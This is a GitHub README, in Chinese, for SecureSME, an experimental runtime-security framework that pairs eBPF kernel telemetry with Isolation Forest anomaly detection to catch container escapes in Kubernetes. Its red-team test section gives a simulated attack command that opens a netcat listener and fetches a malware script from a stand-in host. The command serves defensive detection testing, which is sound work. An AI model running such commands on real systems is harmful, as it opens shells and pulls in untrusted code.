Murashidzi/SecureSME-Platform

GitHub: Murashidzi/SecureSME-Platform

结合eBPF内核遥测与无监督机器学习的实验性K8s运行时安全框架,用于检测零日容器逃逸攻击。

Stars: 0 | Forks: 0

# SecureSME ### 实验性云原生运行时检测框架 (eBPF + Kubernetes + ML) SecureSME 是一个实验性的运行时安全框架,旨在评估将内核级 eBPF 遥测技术与无监督机器学习相结合,以检测 Kubernetes 环境中异常行为的可行性。 该项目探讨了一个核心研究问题: SecureSME 并非旨在与 Falco 等生产工具竞争,而是被构建为一个系统研究平台,连接了: - 内核级可观测性 (eBPF) - Kubernetes 运行时安全 - DevSecOps 部署实践 - 无监督异常检测 (Isolation Forest) 其目标是在现实的容器化环境中评估检测效能、系统开销以及架构权衡。 ![Build Status](https://github.com/Murashidzi/SecureSME-Platform/actions/workflows/security-scan.yml/badge.svg) ![Python](https://img.shields.io/badge/Python-3.12-blue) ![Architecture](https://img.shields.io/badge/Architecture-Distributed%20Microservices-orange) ![eBPF](https://img.shields.io/badge/Kernel-eBPF_Observability-red) ![ML](https://img.shields.io/badge/AI-Isolation_Forest-purple) ## 作品集证据 ### 1. eBPF 内核级威胁检测 *通过特权 Agent 挂钩 `sys_execve`,实时检测“Living off the Land”攻击。* ![eBPF Detection](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/852bf06a2f033403.png) ### 2. 分布式告警系统 *使用 Redis & Celery Worker 节点异步处理大型日志文件。* ## 架构:双重传感器防御 SecureSME 采用混合检测策略,结合用于遗留取证分析的异步日志解析(用户空间)与用于零日威胁防御的 AI 驱动系统调用追踪(内核空间)。 ``` graph TD %% Legacy Log Pipeline subgraph UserSpace ["Reactive Sensor (User Space)"] User["Forensic Analyst"] -->|"Upload auth.log"| API["Flask API Gateway"] API -->|"Queue Task"| Redis["Redis Message Broker"] Redis -->|"Pop Task"| Worker["Celery Worker Node"] Worker -->|"Regex Threat Parsing"| DB[("PostgreSQL")] end %% Modern eBPF Pipeline subgraph KernelSpace ["Proactive Sensor (Kernel Space)"] Attacker["Attacker (Compromised Pod)"] -->|"Runs malware"| Syscall["sys_execve (Ring 0)"] Syscall -->|"Intercept"| BPF["eBPF Probe"] BPF -->|"Perf Buffer"| Agent["Python Security Agent"] Agent -->|"Feature Extraction"| ML["Isolation Forest (AI)"] ML -->|"-1 (Anomaly Detected)"| API end %% Frontend DB -->|"Fetch Telemetry"| UI["React PWA Dashboard"] ``` ## 核心特性 * **内核可观测性 (eBPF):** 一个运行 eBPF 探针的特权 Docker 容器,该探针挂钩到 Linux 内核,以获取跨所有 Kubernetes 命名空间的不可变 Ring-0 级可见性,绕过容器隔离边界。 * **边缘 AI 异常检测:** 用无监督机器学习模型 替代僵化的正则规则,部署在边缘以在无需静态特征的情况下,通过数学方法检测零日反向 Shell 和下载器。 * **自动化威胁情报:** 解析非结构化服务器日志(syslog, auth.log)以识别高严重性事件,例如 SSH 暴力破解和 Root 访问尝试。 * **对抗性验证:** 架构已成功针对模拟的容器逃逸和 Living off the Land (LotL) 攻击链进行红队测试。 * **DevSecOps 流水线:** 将 Bandit (SAST) 和 Safety 依赖扫描集成到 GitHub Actions 中,以拦截易受攻击的代码。 ## 当前限制与架构路线图 ### 1. 性能评估(进行中) - 尚未进行高吞吐量系统调用基准测试。 - 尚未量化负载下的延迟增量。 - 未来工作: - 测量不同执行速率下的 CPU 开销。 - 分析压力下的内存占用。 - 发布基线与检测模式的对比表。 ### 2. 行为建模深度 - 当前的 ML 特征主要是词汇性和基于事件的。 - 缺乏: - 进程谱系建模 - 时序突发检测 - 容器级统计基线 - 未来工作: - 引入父子图建模。 - 实现滚动窗口异常评分。 - 评估序列行为模型。 ### 3. eBPF 生产加固 - 目前使用 BCC 构建。 - 计划迁移到 libbpf + CO-RE,以减少运行时依赖并提高可移植性。 ### 4. 集群规模验证 - 已在受控 Kubernetes 环境中测试。 - 未来工作: - 多节点压力模拟。 - 故障模式与恢复测试。 ## 技术栈 * **内核可观测性:** eBPF (BCC Library), C, Python * **机器学习:** Scikit-Learn, Pandas, Joblib * **核心后端:** Python 3.12, Flask, SQLAlchemy * **异步基础设施:** Celery, Redis * **前端:** React, TailwindCSS * **数据库:** PostgreSQL * **DevOps:** Docker, Docker Compose, GitHub Actions ## 安装与设置 1. **克隆仓库** git clone https://github.com/Murashidzi/SecureSME-Platform.git cd SecureSME-Platform 2. **部署选项 A:** 本地 Docker Compose(注意:eBPF Agent 需要主机内核头文件和特权执行) sudo docker-compose up -d --build sudo docker exec securesme_api python init_db.py 3. **部署选项 B:Kubernetes (DaemonSet)** 在 K8s 集群中部署传感器,映射主机级内核调试目录。 kubectl create namespace security-ops kubectl apply -f infra/k8s/ebpf/daemonset.yaml ## 对抗性测试(红队演练) * **测试 A:响应式引擎(日志分析)** 1. **通过 API 触发取证日志上传:** curl -X POST -F "file=@heavy_attack.log" http://localhost:5000/api/upload 2. **验证异步后台处理::** sudo docker logs -f securesme_worker **测试 B:主动式引擎(AI 内核探针): 模拟隔离容器内的攻击者执行恶意负载:** 1. **监控 Flask API 摄取:** sudo docker logs -f securesme_api 2. **从新终端发起攻击:** sudo docker run --rm alpine sh -c "apk add --no-cache netcat-openbsd && nc -lvp 4444 & wget [http://example.com/malware.sh](http://example.com/malware.sh)" *由 Murashidid 设计,作为 DevSecOps 和软件工程原则的演示。*
标签:Celery, CSV导出, DevSecOps, Docker镜像, Falco替代方案, Flask, Living off the Land, Redis, Syscall Telemetry, Web截图, 上游代理, 内核级可观测性, 分布式微服务, 威胁情报, 子域名突变, 容器安全, 容器逃逸, 开发者工具, 异常检测, 搜索引擎查询, 无监督机器学习, 测试用例, 请求拦截, 逆向工具, 隔离森林